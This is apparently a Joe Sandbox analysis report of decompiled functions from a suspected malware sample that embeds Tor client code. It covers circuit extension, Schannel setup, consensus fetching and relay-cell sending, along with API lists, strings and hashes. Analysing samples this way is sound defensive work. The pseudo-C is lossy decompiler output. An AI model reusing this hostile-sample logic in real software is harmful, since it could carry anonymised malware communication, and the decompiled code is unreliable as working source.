			E00007FF67FF61D785284(void* __ecx, void* __edi, long long __rbx, void* __rcx, void* __rdx) {
				void* __rdi;
				void* __rsi;
				void* _t84;
				void* _t91;
				void* _t99;
				long long _t108;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr* _t117;
				void* _t119;
				long long _t131;
				long long _t132;
				void* _t160;
				long long _t161;
				void* _t165;
				long long _t166;
				long long _t180;
				long long _t182;
				void* _t183;
				void* _t184;

				_t98 = __edi;
				_t91 = __ecx;
				_t108 = _t166;
				_t165 = _t108 - 0x5f;
				 *((long long*)(_t165 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t108 + 0x18)) = __rbx;
				_t160 = __rdx;
				_t184 = __rcx;
				_t177 =  *((intOrPtr*)(__rdx + 0x40));
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::extend_tap() [or: %s, state: extending]\n",  *((intOrPtr*)(__rdx + 0x40)));
				 *((intOrPtr*)(__rcx + 0xc)) = 2;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x1], xmm0");
				r12d = 0;
				 *((long long*)(_t165 + 0xf)) = _t180;
				_t7 = _t184 + 0x30; // 0x30
				_t117 = _t7;
				if ( *_t117 == _t180) goto 0x1d7852fc;
				E00007FF67FF61D781720(2, __edi, 0x1d79d010, "circuit::extend_tap() extend node isn\'t null\n", _t177);
				r8d = 0;
				E00007FF67FF61D785604(_t108, _t117, 0x1d79d010, _t160);
				 *((long long*)(_t165 + 0x67)) = _t108;
				 *_t117 = _t108;
				 *((long long*)(_t165 + 0x67)) =  *_t117;
				E00007FF67FF61D786D40(_t117, _t165 + 0x67, _t160);
				E00007FF67FF61D788D50(_t117,  *_t117, _t165 - 0x69); // executed
				_t182 =  *((intOrPtr*)(_t108 + 8));
				 *((long long*)(_t165 - 1)) = _t182;
				 *((long long*)(_t108 + 8)) = _t180;
				_t161 =  *((intOrPtr*)(_t108 + 0x10));
				 *((long long*)(_t165 + 7)) = _t161;
				 *((long long*)(_t108 + 0x10)) = _t180;
				 *((long long*)(_t165 + 0xf)) =  *((intOrPtr*)(_t108 + 0x18));
				 *((long long*)(_t108 + 0x18)) = _t180;
				free(??);
				E00007FF67FF61D7825F4(_t108, _t165 - 0x29);
				_t131 =  *((intOrPtr*)(_t165 - 0x21));
				 *((long long*)(_t165 - 0x49)) = 0x1d793870;
				 *((long long*)(_t165 - 0x49)) = 0x1d793bd8;
				 *((long long*)(_t165 - 0x41)) = _t131;
				 *((long long*)(_t165 - 0x39)) =  *((intOrPtr*)(_t165 - 0x19));
				 *((long long*)(_t165 - 0x31)) = _t131;
				 *((long long*)(_t165 - 0x69)) = _t165 - 0x49;
				r14d = 1;
				 *((intOrPtr*)(_t165 - 0x61)) = r14d;
				 *((intOrPtr*)(_t165 + 0x67)) =  *((intOrPtr*)(_t160 + 0x58));
				_t132 = _t180;
				 *((char*)(_t165 + _t132 + 0x6f)) =  *((intOrPtr*)(_t165 + 0x6a));
				if (_t132 + _t183 - 4 < 0) goto 0x1d7853b6;
				 *((intOrPtr*)(_t165 + 0x67)) =  *((intOrPtr*)(_t165 + 0x6f));
				E00007FF67FF61D7848B8(_t117, _t165 - 0x69, _t165 + 0x67);
				 *((short*)(_t165 + 0x67)) =  *(_t160 + 0x5c) & 0x0000ffff;
				E00007FF67FF61D784838(_t117, _t165 - 0x69, _t165 + 0x67);
				_t111 =  *((intOrPtr*)(_t165 - 0x49));
				 *((intOrPtr*)(_t111 + 0x40))();
				_t50 = _t111 - 1; // -1
				if (_t50 - 0xfffffffd > 0) goto 0x1d78541d;
				_t119 = _t180 + _t111;
				if (_t119 - _t161 - _t182 < 0) goto 0x1d7853f6;
				_t112 =  *((intOrPtr*)(_t165 - 0x49));
				 *((intOrPtr*)(_t112 + 0x40))();
				_t57 = _t112 - 1; // -1
				if (_t57 - 0xfffffffd > 0) goto 0x1d785451;
				if (_t119 + _t112 -  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68)) < 0) goto 0x1d78542a;
				 *((long long*)(_t165 - 0x69)) =  *((intOrPtr*)(_t165 - 0x21));
				 *((long long*)(_t165 - 0x61)) =  *((intOrPtr*)(_t165 - 0x19));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x69], xmm0");
				 *((char*)(_t166 - 0xc0 + 0x20)) = 9;
				r8b = 6;
				E00007FF67FF61D785C58(_t91, 0, _t99, _t119 + _t112, _t184, _t160,  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68)), _t165 - 0x69); // executed
				r8d = 0x7530;
				_t84 = E00007FF67FF61D786248(4, _t119 + _t112, _t184, _t160,  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68))); // executed
				_t64 = _t184 + 0x30; // 0x30
				E00007FF67FF61D786D40(_t119 + _t112, _t64,  *((intOrPtr*)(_t160 + 0x68)) + _t119);
				if (_t84 != 0) goto 0x1d7854bd;
				E00007FF67FF61D781720(0, _t98, 0x1d79d010, "circuit::extend_tap() [or: %s, state: extended]\n",  *((intOrPtr*)(_t160 + 0x40)));
				goto 0x1d7854d1;
				E00007FF67FF61D781720(3, _t98, 0x1d79d010, "circuit::extend_tap() [or: %s, state: destroyed]\n",  *((intOrPtr*)(_t160 + 0x40)));
				r14b = 0;
				 *((long long*)(_t165 - 0x49)) = 0x1d793870;
				free(??);
				free(??);
				return r14b;
			}

0x7ff61d785284
0x7ff61d785284
0x7ff61d785284
0x7ff61d785292
0x7ff61d78529d
0x7ff61d7852a5
0x7ff61d7852a9
0x7ff61d7852ac
0x7ff61d7852af
0x7ff61d7852c3
0x7ff61d7852cd
0x7ff61d7852d1
0x7ff61d7852d4
0x7ff61d7852d9
0x7ff61d7852dc
0x7ff61d7852e0
0x7ff61d7852e0
0x7ff61d7852e7
0x7ff61d7852f7
0x7ff61d7852fc
0x7ff61d785302
0x7ff61d785307
0x7ff61d78530e
0x7ff61d785311
0x7ff61d785319
0x7ff61d785325
0x7ff61d78532b
0x7ff61d78532f
0x7ff61d785333
0x7ff61d785337
0x7ff61d78533b
0x7ff61d78533f
0x7ff61d785347
0x7ff61d78534b
0x7ff61d785353
0x7ff61d785367
0x7ff61d78536d
0x7ff61d78537c
0x7ff61d785387
0x7ff61d78538b
0x7ff61d78538f
0x7ff61d785393
0x7ff61d78539b
0x7ff61d78539f
0x7ff61d7853a5
0x7ff61d7853ac
0x7ff61d7853af
0x7ff61d7853b8
0x7ff61d7853c6
0x7ff61d7853cb
0x7ff61d7853d6
0x7ff61d7853df
0x7ff61d7853eb
0x7ff61d7853f6
0x7ff61d785408
0x7ff61d78540b
0x7ff61d785413
0x7ff61d785415
0x7ff61d78541b
0x7ff61d78542a
0x7ff61d78543c
0x7ff61d78543f
0x7ff61d785447
0x7ff61d78544f
0x7ff61d785455
0x7ff61d78545d
0x7ff61d785461
0x7ff61d785465
0x7ff61d78546c
0x7ff61d785475
0x7ff61d78547b
0x7ff61d785485
0x7ff61d78548e
0x7ff61d785495
0x7ff61d785499
0x7ff61d7854ab
0x7ff61d7854b6
0x7ff61d7854bb
0x7ff61d7854c9
0x7ff61d7854ce
0x7ff61d7854d8
0x7ff61d7854e0
0x7ff61d7854ea
0x7ff61d78550d

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

free.MSVCRT ref: 00007FF61D785353

Part of subcall function 00007FF61D786248: GetTickCount.KERNEL32 ref: 00007FF61D786265
Part of subcall function 00007FF61D786248: GetTickCount.KERNEL32 ref: 00007FF61D786285

Part of subcall function 00007FF61D786D40: free.MSVCRT ref: 00007FF61D786D7D

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,D9F748FF418D48C8,00000000,?,00000001,00000000), ref: 00007FF61D7854E0
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,D9F748FF418D48C8,00000000,?,00000001,00000000), ref: 00007FF61D7854EA

Strings

circuit::extend_tap() [or: %s, state: extended], xrefs: 00007FF61D7854AD
circuit::extend_tap() extend node isn't null, xrefs: 00007FF61D7852E9
circuit::extend_tap() [or: %s, state: destroyed], xrefs: 00007FF61D7854BD
circuit::extend_tap() [or: %s, state: extending], xrefs: 00007FF61D7852B3

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CountTick$CurrentLocalThreadTime_cwprintf_s_l
String ID: circuit::extend_tap() [or: %s, state: destroyed]$circuit::extend_tap() [or: %s, state: extended]$circuit::extend_tap() [or: %s, state: extending]$circuit::extend_tap() extend node isn't null
API String ID: 3619066352-4254110855
Opcode ID: 374160672b5bae25f4656ff9da2cba5fcf48e1a6c869720404389b2cac84bf8d
Instruction ID: a274244e9978e23f1956fea07bce919441829a48138e29caae5a1eb0f3fe2ab2
Opcode Fuzzy Hash: 374160672b5bae25f4656ff9da2cba5fcf48e1a6c869720404389b2cac84bf8d
Instruction Fuzzy Hash: 24712972B04F419AEB00DF65E4402EC33B5FB44BA8B404276DE5DA7B99EE38E55AD340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D783BB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00007FF67FF61D783BB4(long long __rcx, long long __rdx, void* __r8) {
				void* _t77;
				void* _t83;
				long long _t88;
				long long _t89;
				intOrPtr _t94;
				int _t97;
				long long _t98;
				long long _t100;
				int _t112;
				void* _t115;
				void* _t116;
				int _t118;
				void* _t119;
				void* _t121;
				void* _t122;
				int _t128;

				_t100 = __rcx;
				 *((long long*)(_t121 + 8)) = __rcx;
				_t119 = _t121 - 0x37;
				_t122 = _t121 - 0xe0;
				 *((long long*)(_t119 - 0x41)) = 0xfffffffe;
				_t116 = __r8;
				r15d = 0;
				 *((intOrPtr*)(_t119 - 0x59)) = r15d;
				 *((long long*)(__rcx)) = 0x1d793870;
				 *((long long*)(__rcx)) = 0x1d793a18;
				 *((long long*)(__rcx + 8)) = __rdx;
				_t6 = _t100 + 0x10; // 0x10
				_t98 = _t6;
				 *((long long*)(_t119 + 0x6f)) = _t98;
				 *((long long*)(_t98 + 8)) = 0x1d793a18;
				 *_t98 = 0x1d793a18;
				 *((long long*)(_t98 + 0x18)) = 0x1d793a18;
				 *((long long*)(_t98 + 0x10)) = 0xffffffffffffffff;
				_t11 = _t98 + 0x28; // 0x38
				_t88 = _t11;
				 *((long long*)(_t119 + 0x77)) = _t88;
				 *(_t88 + 8) = _t128;
				 *(_t88 + 0x10) = _t128;
				 *(_t88 + 0x18) = _t128;
				 *((long long*)(_t98 + 0x48)) = _t88;
				 *((long long*)(_t98 + 0x50)) = _t88;
				 *((intOrPtr*)(_t98 + 0x58)) = 0;
				malloc(_t128); // executed
				 *((long long*)(_t98 + 0xb8)) = _t88;
				malloc(_t112); // executed
				 *((long long*)(_t98 + 0xe0)) = _t88;
				 *((intOrPtr*)(_t98 + 0xf0)) = r15b;
				_t83 =  *0x1d79d2b0 - _t128; // 0x7ffc2e2b9220
				if (_t83 != 0) goto 0x1d783c83;
				__imp__InitSecurityInterfaceA();
				 *0x1d79d2b0 = _t88;
				atexit(??); // executed
				asm("movups xmm1, [esi]");
				_t89 =  *((intOrPtr*)(__rcx + 8));
				 *((long long*)(_t98 + 0x20)) = _t89;
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF67FF61D781BA8(_t89, _t119 - 0x39);
				 *((intOrPtr*)(_t119 - 0x59)) = 1;
				 *((long long*)(_t98 + 0x30)) =  *((intOrPtr*)(_t89 + 8));
				 *((long long*)(_t89 + 8)) =  *((intOrPtr*)(_t98 + 0x30));
				 *((long long*)(_t98 + 0x38)) =  *((intOrPtr*)(_t89 + 0x10));
				 *((long long*)(_t89 + 0x10)) =  *((intOrPtr*)(_t98 + 0x38));
				 *((long long*)(_t98 + 0x40)) =  *((intOrPtr*)(_t89 + 0x18));
				 *((long long*)(_t89 + 0x18)) =  *((intOrPtr*)(_t98 + 0x40));
				 *((intOrPtr*)(_t119 - 0x59)) = 1;
				E00007FF67FF61D781BDC(0, _t119 - 0x39);
				 *((long long*)(_t98 + 0xb0)) = 0xc11c;
				 *((long long*)(_t98 + 0xc0)) =  *((intOrPtr*)(_t98 + 0xb8));
				 *(_t98 + 0xc8) = _t128;
				 *(_t98 + 0xd0) = _t128;
				 *(_t98 + 0xd8) = _t128;
				 *(_t98 + 0xe8) = _t128;
				 *((intOrPtr*)(_t119 - 0x51)) = r15d;
				 *((intOrPtr*)(_t119 - 0x4d)) = 2;
				_t50 = _t98 + 0x60; // 0x70
				 *((long long*)(_t119 - 0x49)) = _t50;
				asm("movups xmm0, [ebp-0x51]");
				asm("movdqu [ebx+0x90], xmm0");
				 *((intOrPtr*)(_t119 - 0x51)) = r15d;
				 *((intOrPtr*)(_t119 - 0x4d)) = 1;
				_t54 = _t98 + 0x80; // 0x90
				 *((long long*)(_t119 - 0x49)) = _t54;
				asm("movups xmm0, [ebp-0x51]");
				asm("movdqu [ebx+0xa0], xmm0");
				_t56 = _t116 + 0x4e; // 0x50
				r8d = _t56;
				memset(_t115, _t97, _t118);
				 *((intOrPtr*)(_t119 - 0x19)) = 4;
				 *(_t119 + 0x2f) =  *(_t119 + 0x2f) | 0x00000018;
				_t94 =  *0x1d79d2b0; // 0x7ffc2e2b9220
				 *(_t122 + 0x40) = _t128;
				 *((long long*)(_t122 + 0x38)) = _t98;
				 *(_t122 + 0x30) = _t128;
				 *(_t122 + 0x28) = _t128;
				 *((long long*)(_t122 + 0x20)) = _t119 - 0x19;
				r9d = 0;
				r8d = 2;
				_t77 =  *((long long*)( *((intOrPtr*)(_t94 + 0x18))))(); // executed
				return _t77;
			}

0x7ff61d783bb4
0x7ff61d783bb4
0x7ff61d783bbf
0x7ff61d783bc4
0x7ff61d783bcb
0x7ff61d783bd3
0x7ff61d783bd9
0x7ff61d783bdc
0x7ff61d783be7
0x7ff61d783bf1
0x7ff61d783bf4
0x7ff61d783bf8
0x7ff61d783bf8
0x7ff61d783bfc
0x7ff61d783c04
0x7ff61d783c08
0x7ff61d783c0b
0x7ff61d783c0f
0x7ff61d783c13
0x7ff61d783c13
0x7ff61d783c17
0x7ff61d783c1b
0x7ff61d783c1f
0x7ff61d783c23
0x7ff61d783c29
0x7ff61d783c2d
0x7ff61d783c31
0x7ff61d783c39
0x7ff61d783c3f
0x7ff61d783c4b
0x7ff61d783c51
0x7ff61d783c58
0x7ff61d783c5f
0x7ff61d783c66
0x7ff61d783c68
0x7ff61d783c6e
0x7ff61d783c7c
0x7ff61d783c83
0x7ff61d783c86
0x7ff61d783c8a
0x7ff61d783c8e
0x7ff61d783c92
0x7ff61d783c97
0x7ff61d783c9c
0x7ff61d783ca8
0x7ff61d783cb0
0x7ff61d783cbf
0x7ff61d783cc3
0x7ff61d783ccf
0x7ff61d783cd3
0x7ff61d783cdf
0x7ff61d783ce3
0x7ff61d783cef
0x7ff61d783cf6
0x7ff61d783cfb
0x7ff61d783d0d
0x7ff61d783d14
0x7ff61d783d1b
0x7ff61d783d22
0x7ff61d783d29
0x7ff61d783d30
0x7ff61d783d39
0x7ff61d783d3c
0x7ff61d783d40
0x7ff61d783d44
0x7ff61d783d48
0x7ff61d783d50
0x7ff61d783d54
0x7ff61d783d5b
0x7ff61d783d62
0x7ff61d783d66
0x7ff61d783d6a
0x7ff61d783d74
0x7ff61d783d74
0x7ff61d783d7c
0x7ff61d783d81
0x7ff61d783d88
0x7ff61d783d8c
0x7ff61d783d97
0x7ff61d783d9c
0x7ff61d783da1
0x7ff61d783da6
0x7ff61d783daf
0x7ff61d783db4
0x7ff61d783db7
0x7ff61d783dc3
0x7ff61d783dd7

APIs

malloc.MSVCRT ref: 00007FF61D783C39
malloc.MSVCRT ref: 00007FF61D783C4B
InitSecurityInterfaceA.SECUR32 ref: 00007FF61D783C68
atexit.KERNELBASE ref: 00007FF61D783C7C
memset.MSVCRT ref: 00007FF61D783D7C

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00007FF61D783DBA

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: malloc$InitInterfaceSecurityatexitmemset
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1208695405-238809041
Opcode ID: f8a99b0b0ec2426bcacec7e655b579e4d6321379d235c850a90969889a0169cf
Instruction ID: 12fc3d3ee2980ff6acc5a9e3325c53c11808acecb33c641c37eb7e09243ab89e
Opcode Fuzzy Hash: f8a99b0b0ec2426bcacec7e655b579e4d6321379d235c850a90969889a0169cf
Instruction Fuzzy Hash: 6451E273A04F808AE3548F64E84039D37A9F749B68F149639DE9D97798EF38C5A8C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7881A4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF67FF61D7881A4(signed int __rbx, long long __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, void* __r9) {
				void* __rbp;
				unsigned int _t60;
				void* _t63;
				void* _t64;
				void* _t66;
				void* _t69;
				void* _t70;
				signed int _t76;
				void* _t92;
				intOrPtr* _t130;
				long long _t133;
				long long _t135;
				void* _t137;
				void* _t138;
				void* _t140;
				long long _t144;
				void* _t148;
				void* _t150;
				void* _t152;
				CHAR* _t154;
				long long _t155;

				_t103 = __rbx;
				_t92 = _t140;
				 *((long long*)(_t92 + 8)) = __rcx;
				_t138 = _t92 - 0x5f;
				 *((long long*)(_t138 - 0x19)) = 0xfffffffe;
				 *((long long*)(_t92 + 0x10)) = __rbx;
				 *((long long*)(_t92 + 0x18)) = __rsi;
				 *((long long*)(_t92 + 0x20)) = __rdi;
				r13b = r9b;
				_t130 = __rdx;
				 *((intOrPtr*)(_t138 - 0x79)) = 0;
				r14b = 0;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x41], xmm0");
				 *(_t138 - 0x31) =  *(_t138 - 0x31) & __rbx;
				if ( *((intOrPtr*)(__rdx + 8)) ==  *__rdx) goto 0x1d78820e;
				_t60 = GetFileAttributesA(_t154); // executed
				if (_t60 ==  *0x1d79d014) goto 0x1d78820e;
				if ((_t60 >> 0x00000004 & 0x00000001) == 0) goto 0x1d788211;
				r14b = 1;
				if (r14b == 0) goto 0x1d788254;
				 *((long long*)(_t138 - 0x29)) = "/tor/status-vote/current/consensus";
				 *((long long*)(_t138 - 0x21)) = 0x1d7948e2;
				asm("movaps xmm0, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm0");
				r9b = r13b;
				E00007FF67FF61D788660(__rbx, 0x1d79d020, _t138 + 0xf, _t138, _t138 - 0x59); // executed
				goto 0x1d78826f;
				asm("movups xmm0, [edi]");
				asm("movdqu [ebp-0x59], xmm0");
				_t63 = E00007FF67FF61D782F5C(r14b, _t103, _t138 - 0x11, _t138 - 0x59, __r9);
				 *((intOrPtr*)(_t138 - 0x79)) = 1;
				 *((long long*)(_t138 - 0x41)) =  *((intOrPtr*)("/tor/server/fp/"));
				 *((long long*)("/tor/server/fp/")) =  *((intOrPtr*)(_t138 - 0x41));
				 *((long long*)(_t138 - 0x39)) =  *((intOrPtr*)(0x7ff61d7948f2));
				 *((long long*)(0x7ff61d7948f2)) =  *((intOrPtr*)(_t138 - 0x39));
				 *(_t138 - 0x31) =  *((intOrPtr*)(0x7ff61d7948fa));
				 *((long long*)(0x7ff61d7948fa)) =  *(_t138 - 0x31);
				if (2 == 0) goto 0x1d7882b7;
				 *((intOrPtr*)(_t138 - 0x79)) = 1;
				_t64 = E00007FF67FF61D781BDC(_t63, _t138 - 0x11);
				if (1 == 0) goto 0x1d7882cb;
				 *((intOrPtr*)(_t138 - 0x79)) = 0;
				E00007FF67FF61D781BDC(_t64, _t138 + 0xf);
				r12b = r14b == 0;
				_t144 =  *((intOrPtr*)(_t138 - 0x41));
				asm("dec eax");
				 *((long long*)(_t138 - 0x69)) = _t144;
				 *((long long*)(_t138 - 0x61)) = (0x1d7948e2 &  *((intOrPtr*)(_t138 - 0x39)) - _t144 - 0x00000001) + _t144;
				_t155 =  *0x1d79d060; // 0x26814e19638
				_t133 =  *0x1d79d058; // 0x26814dde010
				if (_t133 - _t155 >= 0) goto 0x1d788329;
				 *((long long*)(_t138 + 0x67)) = _t133;
				free(_t152);
				if (_t133 + 0x28 - _t155 < 0) goto 0x1d788308;
				_t135 =  *0x1d79d058; // 0x26814dde010
				 *0x1d79d060 = _t135;
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x59], xmm0");
				r9b = r12b;
				_t66 = E00007FF67FF61D78CD08(_t76, _t133 + 0x28 - _t155,  *((intOrPtr*)(_t133 + 8)), (0x1d7948e2 &  *((intOrPtr*)(_t138 - 0x39)) - _t144 - 0x00000001) + _t144, _t138 - 0x59); // executed
				if (r14b != 0) goto 0x1d788361;
				__imp__time(_t150, _t148, _t137);
				if ( *0x1d79d070 - _t66 >= 0) goto 0x1d788361;
				r14b = 1;
				goto 0x1d788363;
				if (1 == 0) goto 0x1d788211;
				if (r14b == 0) goto 0x1d7883a8;
				if ( *((intOrPtr*)(_t130 + 8)) ==  *_t130) goto 0x1d7883a8;
				 *((long long*)(_t138 - 0x69)) =  *((intOrPtr*)(_t138 - 0x41));
				 *((long long*)(_t138 - 0x61)) =  *((intOrPtr*)(_t138 - 0x39));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movups xmm1, [edi]");
				asm("movdqu [ebp-0x69], xmm1");
				_t69 = E00007FF67FF61D783034( *((intOrPtr*)(_t130 + 8)) -  *_t130, _t138 - 0x59, _t138 - 0x59, __r9); // executed
				_t70 = E00007FF67FF61D781BDC(_t69, _t138 - 0x49); // executed
				return _t70;
			}

0x7ff61d7881a4
0x7ff61d7881a4
0x7ff61d7881a7
0x7ff61d7881b4
0x7ff61d7881bf
0x7ff61d7881c7
0x7ff61d7881cb
0x7ff61d7881cf
0x7ff61d7881d3
0x7ff61d7881d6
0x7ff61d7881db
0x7ff61d7881de
0x7ff61d7881e1
0x7ff61d7881e4
0x7ff61d7881e9
0x7ff61d7881f4
0x7ff61d7881f9
0x7ff61d788205
0x7ff61d78820c
0x7ff61d78820e
0x7ff61d788214
0x7ff61d78821d
0x7ff61d788228
0x7ff61d78822c
0x7ff61d788230
0x7ff61d788235
0x7ff61d788247
0x7ff61d788252
0x7ff61d788254
0x7ff61d788257
0x7ff61d788264
0x7ff61d78826f
0x7ff61d78827a
0x7ff61d78827e
0x7ff61d78828a
0x7ff61d78828e
0x7ff61d78829a
0x7ff61d78829e
0x7ff61d7882a5
0x7ff61d7882aa
0x7ff61d7882b1
0x7ff61d7882ba
0x7ff61d7882bf
0x7ff61d7882c6
0x7ff61d7882ce
0x7ff61d7882d6
0x7ff61d7882e4
0x7ff61d7882ed
0x7ff61d7882f1
0x7ff61d7882f5
0x7ff61d7882fc
0x7ff61d788306
0x7ff61d78830b
0x7ff61d788317
0x7ff61d788320
0x7ff61d788322
0x7ff61d788329
0x7ff61d788330
0x7ff61d788334
0x7ff61d788339
0x7ff61d788340
0x7ff61d788348
0x7ff61d78834c
0x7ff61d788358
0x7ff61d78835c
0x7ff61d78835f
0x7ff61d788365
0x7ff61d78836e
0x7ff61d788377
0x7ff61d78837d
0x7ff61d788385
0x7ff61d788389
0x7ff61d78838d
0x7ff61d788392
0x7ff61d788395
0x7ff61d7883a2
0x7ff61d7883ac
0x7ff61d7883d1

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF61D7881F9
free.MSVCRT ref: 00007FF61D788317
time.MSVCRT ref: 00007FF61D78834C

Strings

/tor/status-vote/current/consensus, xrefs: 00007FF61D788216
cached-consensus, xrefs: 00007FF61D7881B0

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: AttributesFilefreetime
String ID: /tor/status-vote/current/consensus$cached-consensus
API String ID: 1606450062-1934959206
Opcode ID: 3367dee786c723534315a052e296b827fd2cd2fb67388bc017713f4ad96fc35c
Instruction ID: 11dd0f66d9344f91ff47253719a202d4ff8da2c060ebf68eb8f219aa5521dfbe
Opcode Fuzzy Hash: 3367dee786c723534315a052e296b827fd2cd2fb67388bc017713f4ad96fc35c
Instruction Fuzzy Hash: 37614D72F05F4189E704CFA5E4401AC7371BB54B68B505236DE5DA7BA4EF38E49AD340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D785C58 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FF67FF61D785C58(void* __ecx, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, void* __r9) {
				signed int _t35;
				signed int _t37;
				void* _t45;
				signed short _t53;
				intOrPtr* _t63;
				intOrPtr* _t69;
				void* _t90;
				intOrPtr* _t91;
				void* _t92;
				void* _t101;
				intOrPtr* _t102;

				_t96 = __r9;
				_t88 = __rsi;
				_t63 = _t91;
				_t90 = _t63 - 0x57;
				_t92 = _t91 - 0x100;
				 *((long long*)(_t90 - 0x79)) = 0xfffffffe;
				 *((long long*)(_t63 + 8)) = __rbx;
				 *((long long*)(_t63 + 0x10)) = __rsi;
				 *((long long*)(_t63 + 0x18)) = __rdi;
				asm("movaps [eax-0x38], xmm6");
				r15b = r8b;
				_t53 = __edx & 0x0000ffff;
				_t102 = __rcx;
				r13d = 0;
				 *(_t92 + 0x50) = r13d;
				r8d = __edx & 0x0000ffff;
				_t35 = E00007FF67FF61D78510C(__esi, __rbx, __rcx, _t90 - 0x71, __rdi, __rsi);
				_t8 = _t101 + 1; // 0x1
				r9d = _t8;
				 *(_t92 + 0x50) = r9d;
				if ( *_t63 != _t101) goto 0x1d785cbf;
				sil = r9b;
				if (_t53 != 0) goto 0x1d785cc2;
				sil = r13b;
				r9d = r9d & 0xfffffffe;
				 *(_t92 + 0x50) = r9d;
				_t69 =  *((intOrPtr*)(_t90 - 0x69));
				if (_t69 == 0) goto 0x1d785cff;
				asm("lock xadd [ebx+0x8], eax");
				if ((_t35 | 0xffffffff) != 1) goto 0x1d785cff;
				_t37 =  *((intOrPtr*)( *_t69))();
				asm("lock xadd [ebx+0xc], eax");
				if ((_t37 | 0xffffffff) != 1) goto 0x1d785cff;
				 *((intOrPtr*)( *_t69 + 8))();
				if (sil == 0) goto 0x1d785d25;
				r9d = _t53 & 0x0000ffff;
				E00007FF67FF61D781720(2, _t53, 0x1d79d010, "circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u\n", _t96);
				goto 0x1d785de8;
				r10d =  *(__rcx + 8);
				r8d = r15b & 0xffffffff;
				_t67 =  <  ? " (MSB set)" : 0x1d79391d;
				r9d = r10d;
				asm("inc ecx");
				 *(_t92 + 0x40) = r8d;
				 *(_t92 + 0x38) =  *(_t90 + 0x7f) & 0x000000ff;
				 *(_t92 + 0x30) = _t53 & 0x0000ffff;
				 *(_t92 + 0x28) = r10d;
				 *((long long*)(_t92 + 0x20)) =  <  ? " (MSB set)" : 0x1d79391d;
				E00007FF67FF61D781720(0, _t53, 0x1d79d010, "tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i]\n", " (MSB set)");
				asm("inc ecx");
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x61], xmm0");
				r8b =  *(_t90 + 0x7f);
				E00007FF67FF61D7845C0( *(__rcx + 8), _t90 - 0x41);
				 *(_t90 - 0x11) = r15b;
				 *(_t90 - 0xf) = _t53;
